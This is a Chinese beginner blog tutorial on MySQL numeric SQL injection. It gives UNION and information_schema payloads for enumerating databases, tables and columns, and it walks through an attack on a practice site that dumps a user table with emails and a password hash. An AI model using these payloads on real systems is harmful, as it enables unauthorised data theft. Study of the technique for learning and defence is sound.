前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >sql注入入门学习(数字型)(连载中)

sql注入入门学习(数字型)(连载中)

作者头像
一个淡定的打工菜鸟
发布于 2018-12-27 07:51:00
发布于 2018-12-27 07:51:00
48200
代码可运行
举报
文章被收录于专栏:淡定的博客淡定的博客
运行总次数:0
代码可运行

非宁静无以致远

判断sql注入
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1.提交单引号
2.and大法和or大法
3.加法和减法,加号  %2b
数据库权限判断
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
and ord(mid(user(),1,1))=114
//或者
and (select count(*) from mysql.user)>0
判断字段数

用union联合查询

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
and 1=1 union select 1,2,3,4,5……
union select null,null,null.....

用order by 查询

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
order by 1,2,3,4
查询库名
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
判断数据库版本
and ord(mid(version(),1,1))>51 
直接使用mysql自带函数database()查询得到数据库名
union select 1,database(),3 limit 1,1
得到所有的数据库名
union select null,schema_name,null from information_schema.schemata
获取第一个库名
and 1=2 union select null,schema_name,null from information_schema.schemata limit 0,1
查询表名

MySQL中,表名存放在information_schema数据库下tables表table_name字段中、查表名我们主要用到的是TABLES表

group_concat

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'
或者
union select null,table_name,null from information_schema.tables where table_schema='test'
查询字段

在MySQL中,字段名存放在information_schema数据库下columns表column_name字段中,这里使用的是columns表。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='test' and table_name='sqltest'
或者
union select null,column_name,null from information_schema.columns where table_schema='test' and table_name='admin'
查询数据
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
and 1=2 union select 1,group_concat(id,user,pwd),3 from admin
或者
union select null,title,content from sqltest
或者
and 1=2 union select 1,2,concat(user,0x3c,pwd) from admin
实战演练

打开网站http://43.247.91.228/content-1/index.php?id=0,我们在这里做注入练习

1.首先加单引号报错,可知存在明显的注入漏洞

2.输入and ord(mid(user(),1,1))=114不报错,可知数据库的权限是root权限,并且具有可读可写的权限

3.输入 and 1=1 union select 1,2,3,4,5,6,7,8不报错,可以发现这个表的字段有8个

4.使用and 1=2 union select null,schema_name,null ,null,null,null,null,null from information_schema.schemata limit 1,1;--;--注释了后面的语句,可以获取所有的数据库名,可以知道当前执行查询用户名为root@localhost(user()函数), 当前使用的数据库是inject,下面列出所有数据库

  • information_schema
  • inject
  • mysql
  • performance_schema

5.使用union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema='inject' limit 1,1;--获取所有的表名,下面列出所有的表

  • users

6.使用union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema='inject' limit 1,1;--获取所有的字段,下面列出所有的字段

  • idusers
  • name
  • email
  • password
  • ua
  • ref
  • host
  • lang

7.接下来就到最后最重要的一步了,获取所有数据,and 1=2 union select 1,group_concat(idusers,name,email,password,ua,ref,host,lang),3,4,5,6,7,8 from users;--

获取到的数据如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
0adminadmin@getmantra.comadminBrick_Browserhttp://127.0.0.1/release-channel/content-13/index.php127.0.0.1en,1tomtom@getmantra.comtomBlock_Browser8.8.8.8en,2ronron@getmantra.comronRain_Browser192.168.1.1en,3harryharry@getmantra.com5f4dcc3b5aa765d61d8327deb882cf99Mantra127.0.0.1en

可以看出来这些应该就是数据表中所有的数据了,但是怎么格式化我并不会,希望看到这篇文章的大佬们能帮我解决一下,请给我发邮件:dandingkeji.top@gmail.com

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018/12/16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
SQL注入 安全狗apache4.0.26655绕过
本次靶场采用经典的sqli-labs搭建,waf使用的是安全狗的apache4.0.26655版本,文章从最开始的分析到最后的结果,中间难免会有错误的地方,希望大家多多包涵和理解。
乌鸦安全
2021/08/05
8110
SQL注入 安全狗apache4.0.26655绕过
数据库的一些注入技巧-mysql
SELECT 1 FROM dualWHERE 1 = '1'''''''''''''UNION SELECT '2';
Jumbo
2019/11/05
9250
SQL注入原理剖析
SQL注入原理剖析 SQL注入流程 SQL注入流程: 1、判断是否有注入(判断是否为严格校验) 2、什么类型的SQL注入 3、语句是否能够被恶意修改 4、是否能够成功被带入执行 5、获取我们想要的数据
渗透攻击红队
2019/11/19
9790
Web Pentester Sqlinject
该文章是关于SQL注入漏洞的总结,通过分析不同的SQL注入类型、利用方式、漏洞危害以及修复建议,详细阐述了SQL注入漏洞的检测与防范方法,旨在加强对该类漏洞的理解和防范意识,提高网络安全防护能力。
企鹅号小编
2018/01/03
8420
Web Pentester Sqlinject
1.1.1-SQL注入-SQL注入基础-SQL手工注入方法
核心原理: MySql内置的infromation_schema库,它功能强大,是我们进行MySql注入的基石!
tea9
2022/07/16
1.8K0
1.1.1-SQL注入-SQL注入基础-SQL手工注入方法
SQL注入爆破字段过程
在明确了SQL注入的类型和过滤字段之后,要开始爆破所需要得到的内容,一下是关于爆破阶段的一些过程,可以根据实际过滤的字段调整部分SQL语句。
KevinBruce
2020/03/20
2.2K0
SQL注入(SQL注入(SQLi)攻击)攻击-脱库
确认网站存在SQL注入时,可以对其进行脱库,即获取数据库表中的内容,比如用户的敏感信息
红目香薰
2022/11/29
8040
SQL注入(SQL注入(SQLi)攻击)攻击-脱库
1.2.1-SQL注入-SQL注入语法类型-union联合查询注入
SQL UNION 操作符 用于合并两个或多个SELECT语句的结果集。 注意: SELECT语句必须拥有相同数量的列。 列也必须拥有相似的数据类型。 每条SELECT语句中列的顺序必须相同。
tea9
2022/07/16
9190
SQL学习之SQL注入总结
Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的。 sql注入分类: 基于联合查询 基于错误回显 基于盲注,分时间盲注和布尔型的盲注 基于user-agent 基于feferer 基于cookie 二次注入 宽字节注入 注入一个网站时,我们先要找出后台构造的查询语句,然后判断是否存在注入点。 常规的找出查询语句的方法是在后面加’ 、 “ 、 ‘)  、 “),看是否报错,然后用and 1=1和and 1=2判断是否存在注入点
Jetpropelledsnake21
2018/06/14
1.8K0
【Bypass】安全狗apache V4.0.23137 SQL注入绕过
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全
2022/04/15
9680
【Bypass】安全狗apache V4.0.23137 SQL注入绕过
SQL注入之联合查询注入
在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位
全栈程序员站长
2022/08/31
1.2K0
新手科普 | MySQL手工注入之基本注入流程
MySQL手工注入的基本步骤以及一些技巧的记录,当出现学习手工注入的时候,网上的文章参差不齐,导致很长一段时间对手工注入的理解一直处于一知半解的状态,特此记录本文,让小白们少走些弯路。本文只针对手工注
FB客服
2018/02/24
1.1K0
新手科普 | MySQL手工注入之基本注入流程
SQL注入
首先先说点知识,1、MySql在5.0版本后新增一个叫information_schema的虚拟数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。利用这个可以获取表名,列名等 2、查询中用到的group_concat()函数是要把查询的内容联合到一起方便查看的,这样就不需要limit 0,1一个一个判断了 先查个字段,因为有三个数据,就用4吧order by 4#
故里[TRUE]
2023/04/16
1.1K0
SQL注入
sql注入-联合查询总结
mysql通过information_schema这个表查询相应的数据库名,表名,字段名。
Gamma实验室
2020/12/23
2.3K0
sql注入-联合查询总结
SQLi_Labs通关文档【1-65关】
为了不干扰自己本机环境,sql-lab我就用的docker跑起来的,搭建也非常简单,也就两条命令
HACK学习
2019/08/05
4K1
sql注入技术大总结
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()# 从所有的表里边找到这个库名里不重复的表名
黑战士
2024/04/14
2140
2022年最详细的SQL注入总结笔记
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息,在实战和测试中,难免会遇见到一些sql注入,下面,我将总结一些常用sql注入中的不同姿势。
纯情
2023/04/27
1.2K0
2022年最详细的SQL注入总结笔记
sqli-labs练习(第五、六关)
这一关,当输入正确的id时,会输出 You are in……,而输入错误的则什么都没有,只有个welcome。
宸寰客
2020/07/21
1K0
sqli-labs练习(第五、六关)
SQL注入报错注入函数[通俗易懂]
报错注入的前提是当语句发生错误时,错误信息被输出到前端。其漏洞原因是由于开发人员在开发程序时使用了print_r (),mysql_error(),mysqli_connect_error()函数将mysql错误信息输出到前端,因此可以通过闭合原先的语句,去执行后面的语句。
全栈程序员站长
2022/11/11
4.2K0
SQL注入报错注入函数[通俗易懂]
安全笔记
CONCAT()函数用于将多个字符串连接成一个字符串。 使用数据表Info作为示例,其中SELECT id,name FROM info LIMIT 1;的返回结果为
XRSec
2022/02/13
3530
相关推荐
SQL注入 安全狗apache4.0.26655绕过
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验